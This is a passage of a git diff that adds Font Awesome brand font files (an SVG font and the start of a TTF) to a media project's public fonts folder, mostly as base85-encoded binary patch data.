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 literal 0 HcmV?d00001 diff --git a/pkg/media/opus/public/fonts/fa-brands-400.svg b/pkg/media/opus/public/fonts/fa-brands-400.svg new file mode 100644 index 000000000..2d4771eb7 --- /dev/null +++ b/pkg/media/opus/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pkg/media/opus/public/fonts/fa-brands-400.ttf b/pkg/media/opus/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000000000000000000000000000000000000..948a2a6cc76a4d7cb692d0d08e352f126ec48a9d GIT binary patch literal 132728 zcmeFad7K?pnLk{o_Py%fs#|sUed&F1OhtKdB3M_cL)tx2 zPMtc-bDrh--^9zi;N{OaE7 zxV7#9h9Mh}-g@%c+s^%uAO6{782M`qBfP$I+Xd$yIf9y4aRArloo9XI)HB!rbc|ub zE<^tH<8*O3^{Ny z!?@pL&^K}%tN-`@@tr4GBX2Ppi`y9Hr8}={oBr)R@|PozvR9G)NXty?GH$}(z9ah> zhTV2Wkn*jRntDf@k4A za&C|go{9RxN87PG$PdlbceMOICPH2d>Xw6RZ!$8yC#ZYoxAn~IG0%IiPqcqyxS!UK zBX}N7GmJXZ@0t2=J%TzUc8oEQN5?OUJVNh7zKDG0?;cEWz4eTJOwV*X4E#FN=OUgj z2ImaJ&$NZ6r|WL@XY9z4;2IsvvDQJ`NZW@)VaJZVi@uQHzJ18s9pnddi0kYzWodmG z9Q2t-$CTcOawZOr{3>WO9n0`cJ@}pJYZlLmvCNVG#&wt8cg&Fm%>^_t^St2Neg^pr zPtS4Bd*iea{H&p z0BN%S2%d%C);+DhAl|)==$|S~})>Yt8M(nqpdY;pFoeGyD?nf4H`r_TnpM9oYVC5JmWc_2bvD*;!r+F<5vpub~75v z&~uX=LmBj)Jo(;pgLY5fPumrg*?r_-aPQ0*{=fL0Zik6_O?H0kIjFZaeppYzc+>R0 z;7GhLP3H#k6bGeIjb1}PXk8BSX67uQhne;v-$$QJnhx&8FRdHvWeWF(gY%<#t#Jy< zjxjzv#;~{tYn=WDYs#O#_ixkn1?!LIp|1CM0Bt87|IY>Mgg#e6nMjb=YBP_zgT5i3 